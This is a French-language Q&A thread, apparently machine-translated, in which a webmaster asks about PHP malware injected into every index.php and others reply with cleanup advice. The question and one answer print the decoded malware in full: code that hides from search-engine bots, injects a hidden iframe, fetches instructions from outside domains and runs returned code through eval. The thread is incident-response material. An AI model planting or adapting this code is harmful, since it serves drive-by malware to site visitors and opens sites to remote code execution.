38 votes

virus php eval base64_decode

mon site (très grand site de la communauté) a été récemment infecté par un virus. Chaque index.php le fichier a été modifié afin que la balise d'ouverture php de ces fichiers, il a été changé à la ligne suivante:

<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2x6cXFhcmtsLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WUFFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhlaWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0='));

J'ai décodé et il génère le code php suivant:

    <?php
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
    array("216.239.32.0","216.239.63.255"),
    array("64.68.80.0"  ,"64.68.87.255"  ),
    array("66.102.0.0",  "66.102.15.255"),
    array("64.233.160.0","64.233.191.255"),
    array("66.249.64.0", "66.249.95.255"),
    array("72.14.192.0", "72.14.255.255"),
    array("209.85.128.0","209.85.255.255"),
    array("198.108.100.192","198.108.100.207"),
    array("173.194.0.0","173.194.255.255"),
    array("216.33.229.144","216.33.229.151"),
    array("216.33.229.160","216.33.229.167"),
    array("209.185.108.128","209.185.108.255"),
    array("216.109.75.80","216.109.75.95"),
    array("64.68.88.0","64.68.95.255"),
    array("64.68.64.64","64.68.64.127"),
    array("64.41.221.192","64.41.221.207"),
    array("74.125.0.0","74.125.255.255"),
    array("65.52.0.0","65.55.255.255"),
    array("74.6.0.0","74.6.255.255"),
    array("67.195.0.0","67.195.255.255"),
    array("72.30.0.0","72.30.255.255"),
    array("38.0.0.0","38.255.255.255")
    );
$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
    $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
    if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
    if  (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo '<div style="position: absolute; left: -1999px; top: -2999px;"><iframe src="http://lzqqarkl.co.cc/QQkFBwQGDQMGBwYAEkcJBQcEAAcDAAMBBw==" width="2" height="2"></iframe></div>';
}

J'ai essayé plusieurs choses pour nettoyer les virus, même la restauration à partir d'une sauvegarde et les fichiers d'être infecté de nouveau après quelques minutes ou quelques heures. Donc, pouvez-vous svp m'aider?

Que savez-vous à propos de ce virus?

Est-il connu un trou de sécurité, qu'il utilise pour installer et de se propager?

Quel est le code php en fait?

Quelle est la page qu'il intègre dans l'iframe n'?

Et bien sûr le plus important: Que puis-je faire pour m'en débarrasser?

S'il vous plaît aider, nous avons été presque à court d'idées et d'espoir :(

UPDATE1 Un peu plus de détails: Une chose bizarre: Quand nous avons d'abord vérifié les fichiers infectés. Ils ont changé, mais leur heure de modification dans le programme de ftp été à l'affiche du dernier accès à des jours, des mois ou même des années dans certains cas! Comment est-ce même possible? Ça me rend fou!

Mise à JOUR 2 Je pense que le problème initiée après que l'utilisateur a installé un plugin dans son installation de wordpress. Après la restauration de la sauvegarde et de supprimer complètement le répertoire wordpress et de la db, le problème semble disparu. Nous avons actuellement abonné à un service de sécurité et qu'ils étudient la question juste pour être sûr que le hack est parti pour de bon. Merci pour toute personne qui a répondu.

50voto

Lucanos Points 7593

Étapes pour récupérer et désinfecter votre site (à condition d'avoir une bonne sauvegarde connue).

1) l'Arrêt du Site

Vous devez essentiellement fermez la porte de votre site avant de faire vos travaux de réparation. Cela permettra d'empêcher les visiteurs d'obtenir un code malveillant, voir des messages d'erreur, etc. Juste de la bonne pratique.

Vous devriez être en mesure de le faire en ajoutant la ligne suivante dans votre .htaccess fichier dans la racine de votre site. (Remplacez "!!Votre Adresse IP Ici!!" avec votre propre adresse IP - voir http://icanhazip.com si vous ne connaissez pas votre adresse IP.)

order deny,allow
deny from all
allow from !!Your IP Address Here!!

2) Télécharger une Copie de Tous vos Fichiers à partir du Serveur

Télécharger le tout dans un dossier distinct de votre bon de sauvegardes. Cela peut prendre un certain temps (en fonction de votre site, la taille, la vitesse de connexion, etc).

3) Télécharger et Installer un Fichier/Dossier Utilitaire de Comparaison

Sur un ordinateur Windows, vous pouvez utiliser WinMerge - http://winmerge.org/ c'est gratuit et très puissant. Sur un MacOS machine, consultez la liste des suppléants d' Alternative.pour

4) Exécutez le Fichier/Dossier Utilitaire de Comparaison

Vous devriez vous retrouver avec quelques-uns des résultats différents:

  • Les fichiers sont Identiques - Le fichier actuel est le même que celui de votre sauvegarde, et donc n'est pas affectée.
  • Fichier sur Gauche/Droite Seulement - Que le fichier n'existe que dans la sauvegarde (et peut-être été supprimé depuis le serveur), ou n'existe que sur le serveur (et peut-être injectée/créé par les pirates).
  • Fichier est Différent, Le fichier sur le serveur n'est pas la même que celle de la sauvegarde, donc il peut avoir été modifié par vous (à configurer pour le serveur) ou par le hacker (injection de code).

5) Résoudre les Différences

(un.k.un "Pourquoi ne pouvons nous pas nous entendre?")

Pour les Fichiers qui sont Identiques, aucune action supplémentaire n'est requise. Pour les Fichiers qui Existent sur Un Seul Côté, regarder le fichier et de déterminer si elles sont légitimes (c'est à dire l'utilisateur télécharge ce qui devrait être là, les fichiers supplémentaires que vous avez ajoutés, etc.) Pour les Fichiers qui sont Différents, regardez le fichier (le Fichier Différence Utilitaire peut même vous montrer les lignes qui ont été ajoutés/modifiés/supprimés) et de voir si la version du serveur est valide. Écraser (avec la version sauvegardée) tous les fichiers qui contiennent du code malveillant.

6) le contrôle de votre Sécurité Précautions

Si c'est aussi simple que de changer votre FTP/cPanel mots de passe, ou de l'examen de votre utilisation de externe/incontrôlée des ressources (comme vous le mentionnez vous effectuez beaucoup de fgets, ouvre, etc. vous pouvez vérifier les paramètres passés à eux que c'est une façon de faire des scripts de tirer dans le code malveillant), etc.

7) Vérifier que le Site Fonctionne

Profitez de l'occasion d'être la seule personne qui consulte le site pour vous assurer que tout fonctionne comme prévu, après les fichiers infectés sont corrigées et les fichiers malveillants ont été supprimés.

8) Ouvrir les Portes

Annuler les modifications apportées dans le .htaccess fichier dans l'Étape 1. Regarder attentivement. Gardez un œil sur vos visiteurs et les journaux d'erreurs pour voir si quelqu'un essaie de déclencher l'supprimé les fichiers malveillants, etc.

9) D'Envisager La Détection Automatisée Des Méthodes

Il y a peu de solutions, ce qui permet pour vous d'avoir un système automatisé de vérification de votre hôte (à l'aide d'une tâche CRON) qui permet de détecter et de détail de tous les changements qui se produisent. Certains sont un peu verbeux (vous recevrez un e-mail pour chaque fichier modifié), mais vous devriez être capable de les adapter à vos besoins:

10) Ont des Sauvegardes Planifiées, et de Conserver un Bon Support

Assurez-vous d'avoir des sauvegardes planifiées effectuées sur votre site web, de garder quelques-uns d'entre eux, vous devez donc les différentes étapes que vous pouvez revenir en arrière dans le temps, si nécessaire. Par exemple, si vous avez effectué des sauvegardes hebdomadaires, vous voudrez peut-être garder les suivantes:

  • 4 x Sauvegardes Hebdomadaires
  • 4 x des Sauvegardes Mensuelles (vous conservez un des Sauvegardes Hebdomadaires, voire la première semaine du mois, comme la Sauvegarde Mensuelle)

Celles-ci ont toujours rendre la vie plus facile si vous avez quelqu'un attaque de votre site avec quelque chose d'un peu plus destructeur qu'une attaque par injection de code.

Oh, et assurez-vous de faire une sauvegarde de vos bases de données trop - avec beaucoup de sites basées sur des Sgc, avoir les fichiers est agréable, mais si vous perdez/corrompre la base de données derrière eux, eh bien, les sauvegardes sont fondamentalement inutile.

2voto

Erion Omeri Points 21

J'ai souffert de la même hack travail. J'ai été en mesure de déchiffrer le code ainsi, et alors que je suis différente de code php, j'ai commencé par supprimer le injecté php texte par une boucle dans chaque fichier php dans le site et la suppression de la fonction eval appel. Je suis encore en train de chercher comment je l'ai eu pour commencer avec, mais voici ce que le mien ressemblait après le décryptage de ce site:

Pour décoder le chiffrés script php sur chaque fichier php utilisez ceci: http://www.opinionatedgeek.com/dotnet/tools/base64decode/

Et mettre en forme le résultat de l'utilisation de ce mec: http://beta.phpformatter.com/

Pour nettoyer, vous devez retirer le "eval" ligne à partir du haut de chaque fichier php, et supprimer le .journal des dossiers à partir du dossier de base du site.

J'ai trouvé un script python que j'ai modifié légèrement pour supprimer le cheval de troie dans les fichiers php, donc je vais poster ici pour les autres à utiliser: code source à partir du fil: remplacer TOUTES les occurrences d'un caractère par un autre dans tous les fichiers de manière hiérarchique dans l'arborescence de répertoire

import os
import re
import sys

def try_to_replace(fname):
    if replace_extensions: 
        return fname.lower().endswith(".php")
    return True


def file_replace(fname, pat, s_after):
    # first, see if the pattern is even in the file.
    with open(fname) as f:
        if not any(re.search(pat, line) for line in f):
            return # pattern does not occur in file so we are done.

    # pattern is in the file, so perform replace operation.
    with open(fname) as f:
        out_fname = fname + ".tmp"
        out = open(out_fname, "w")
        for line in f:
            out.write(re.sub(pat, s_after, line))
        out.close()
        os.rename(out_fname, fname)


def mass_replace(dir_name, s_before, s_after):
    pat = re.compile(s_before)
    for dirpath, dirnames, filenames in os.walk(dir_name):
        for fname in filenames:
            if try_to_replace(fname):
                print "cleaning: " + fname
                fullname = os.path.join(dirpath, fname)
                file_replace(fullname, pat, s_after)

if len(sys.argv) != 2:
    u = "Usage: rescue.py <dir_name>\n"
    sys.stderr.write(u)
    sys.exit(1)

mass_replace(sys.argv[1], "eval\(base64_decode\([^.]*\)\);", "")

pour le type d'utilisation

python rescue.py rootfolder

C'est ce que le script malveillant était en train de faire:

<?php

if (function_exists('ob_start') && !isset($_SERVER['mr_no'])) {
    $_SERVER['mr_no'] = 1;
    if (!function_exists('mrobh')) {
        function get_tds_777($url)
        {
            $content = "";
            $content = @trycurl_777($url);
            if ($content !== false)
                return $content;

            $content = @tryfile_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfopen_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfsockopen_777($url);
            if ($content !== false)
                return $content;
            $content = @trysocket_777($url);
            if ($content !== false)
                return $content;
            return '';
        }

        function trycurl_777($url)
        {
            if (function_exists('curl_init') === false)
                return false;
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            $result = curl_exec($ch);
            curl_close($ch);
            if ($result == "")
                return false;
            return $result;
        }
        function tryfile_777($url)
        {
            if (function_exists('file') === false)
                return false;
            $inc = @file($url);
            $buf = @implode('', $inc);
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfopen_777($url)
        {
            if (function_exists('fopen') === false)
                return false;
            $buf = '';
            $f   = @fopen($url, 'r');
            if ($f) {
                while (!feof($f)) {
                    $buf .= fread($f, 10000);
                }
                fclose($f);
            } else
                return false;
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfsockopen_777($url)
        {
            if (function_exists('fsockopen') === false)
                return false;
            $p    = @parse_url($url);
            $host = $p['host'];
            $uri  = $p['path'] . '?' . $p['query'];
            $f    = @fsockopen($host, 80, $errno, $errstr, 30);
            if (!$f)
                return false;
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $host\n\n";
            fwrite($f, $request);
            $buf = '';
            while (!feof($f)) {
                $buf .= fread($f, 10000);
            }
            fclose($f);
            if ($buf == "")
                return false;
            list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
            return $buf;
        }
        function trysocket_777($url)
        {
            if (function_exists('socket_create') === false)
                return false;
            $p    = @parse_url($url);
            $host = $p['host'];
            $uri  = $p['path'] . '?' . $p['query'];
            $ip1  = @gethostbyname($host);
            $ip2  = @long2ip(@ip2long($ip1));
            if ($ip1 != $ip2)
                return false;
            $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
            if (!@socket_connect($sock, $ip1, 80)) {
                @socket_close($sock);
                return false;
            }
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $host\n\n";
            socket_write($sock, $request);
            $buf = '';
            while ($t = socket_read($sock, 10000)) {
                $buf .= $t;
            }
            @socket_close($sock);
            if ($buf == "")
                return false;
            list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
            return $buf;
        }
        function update_tds_file_777($tdsfile)
        {
            $actual1 = $_SERVER['s_a1'];
            $actual2 = $_SERVER['s_a2'];
            $val     = get_tds_777($actual1);
            if ($val == "")
                $val = get_tds_777($actual2);
            $f = @fopen($tdsfile, "w");
            if ($f) {
                @fwrite($f, $val);
                @fclose($f);
            }
            if (strstr($val, "|||CODE|||")) {
                list($val, $code) = explode("|||CODE|||", $val);
                eval(base64_decode($code));
            }
            return $val;
        }
        function get_actual_tds_777()
        {
            $defaultdomain = $_SERVER['s_d1'];
            $dir           = $_SERVER['s_p1'];
            $tdsfile       = $dir . "log1.txt";
            if (@file_exists($tdsfile)) {
                $mtime = @filemtime($tdsfile);
                $ctime = time() - $mtime;
                if ($ctime > $_SERVER['s_t1']) {
                    $content = update_tds_file_777($tdsfile);
                } else {
                    $content = @file_get_contents($tdsfile);
                }
            } else {
                $content = update_tds_file_777($tdsfile);
            }
            $tds = @explode("\n", $content);
            $c   = @count($tds) + 0;
            $url = $defaultdomain;
            if ($c > 1) {
                $url = trim($tds[mt_rand(0, $c - 2)]);
            }
            return $url;
        }
        function is_mac_777($ua)
        {
            $mac = 0;
            if (stristr($ua, "mac") || stristr($ua, "safari"))
                if ((!stristr($ua, "windows")) && (!stristr($ua, "iphone")))
                    $mac = 1;
            return $mac;
        }
        function is_msie_777($ua)
        {
            $msie = 0;
            if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") || stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9"))
                $msie = 1;
            return $msie;
        }
        function setup_globals_777()
        {
            $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
            $mz = "/tmp/";
            if (!@is_dir($rz)) {
                @mkdir($rz);
                if (@is_dir($rz)) {
                    $mz = $rz;
                } else {
                    $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
                    if (!@is_dir($rz)) {
                        @mkdir($rz);
                        if (@is_dir($rz)) {
                            $mz = $rz;
                        }
                    } else {
                        $mz = $rz;
                    }
                }
            } else {
                $mz = $rz;
            }
            $bot = 0;
            $ua  = $_SERVER['HTTP_USER_AGENT'];
            if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
                $bot = 1;
            if (stristr($ua, "bingbot") || stristr($ua, "google"))
                $bot = 1;
            $msie = 0;
            if (is_msie_777($ua))
                $msie = 1;
            $mac = 0;
            if (is_mac_777($ua))
                $mac = 1;
            if (($msie == 0) && ($mac == 0))
                $bot = 1;
            global $_SERVER;
            $_SERVER['s_p1']     = $mz;
            $_SERVER['s_b1']     = $bot;
            $_SERVER['s_t1']     = 1200;
            $_SERVER['s_d1']     = base64_decode('http://ens122zzzddazz.com/');
            $d                   = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" . urlencode($_SERVER["PHP_SELF"]) . "&a=" . urlencode($_SERVER["HTTP_USER_AGENT"]);
            $_SERVER['s_a1']     = base64_decode('http://cooperjsutf8.ru/g_load.php') . $d;
            $_SERVER['s_a2']     = base64_decode('http://nlinthewood.com/g_load.php') . $d;
            $_SERVER['s_script'] = "nl.php?p=d";
        }
        setup_globals_777();
        if (!function_exists('gml_777')) {
            function gml_777()
            {
                $r_string_777 = '';
                if ($_SERVER['s_b1'] == 0)
                    $r_string_777 = '<script src="' . get_actual_tds_777() . $_SERVER['s_script'] . '"></script>';
                return $r_string_777;
            }
        }
        if (!function_exists('gzdecodeit')) {
            function gzdecodeit($decode)
            {
                $t     = @ord(@substr($decode, 3, 1));
                $start = 10;
                $v     = 0;
                if ($t & 4) {
                    $str = @unpack('v', substr($decode, 10, 2));
                    $str = $str[1];
                    $start += 2 + $str;
                }
                if ($t & 8) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 16) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 2) {
                    $start += 2;
                }
                $ret = @gzinflate(@substr($decode, $start));
                if ($ret === FALSE) {
                    $ret = $decode;
                }
                return $ret;
            }
        }
        function mrobh($content)
        {
            @Header('Content-Encoding: none');
            $decoded_content = gzdecodeit($content);
            if (preg_match('/\<\/body/si', $decoded_content)) {
                return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1', $decoded_content);
            } else {
                return $decoded_content . gml_777();
            }
        }
        ob_start('mrobh');
    }
}

?> 

2voto

Nick ODell Points 1705

Tout d'abord, fermez votre site jusqu'à ce que vous puissiez comprendre comment il est entré et comment y remédier. On dirait qu'il sert des logiciels malveillants à vos clients.

Ensuite, recherchez dans vos fichiers php des fgets, fopen, fputs, eval ou système. Je recommande notepad ++ en raison de sa fonction "Rechercher dans les fichiers". Assurez-vous également que c'est le seul endroit où votre PHP a été modifié. Avez-vous une copie hors ligne pour comparer?

1voto

Gary Teh Points 11

Quelques-uns de mes sites ont également rencontré le même problème. Après avoir nettoyé les sites, j'ai modifié le statut d'autorisation sur les fichiers index.php en 444. Cela empêchera la modification des fichiers index.php sur les sites. Le serveur a également été configuré pour interdire les modifications des autorisations chmod dans le démon qui exécute le processus php / Apache.

La surveillance du fichier access.log est nécessaire pour observer où l'intrusion pourrait se trouver.

1voto

Nikhil M Points 376

Comment réparer WordPress Malware Script Attack.

Mettez ce fichier dans le répertoire racine de votre site Web, nommez-le quelque chose comme fixit.php et appelez www.votredomaine.com/fixit.php. Attendez le script. Une fois que c'est fait? vous avez terminé.

Prograide.com

Prograide est une communauté de développeurs qui cherche à élargir la connaissance de la programmation au-delà de l'anglais.
Pour cela nous avons les plus grands doutes résolus en français et vous pouvez aussi poser vos propres questions ou résoudre celles des autres.

Powered by:

X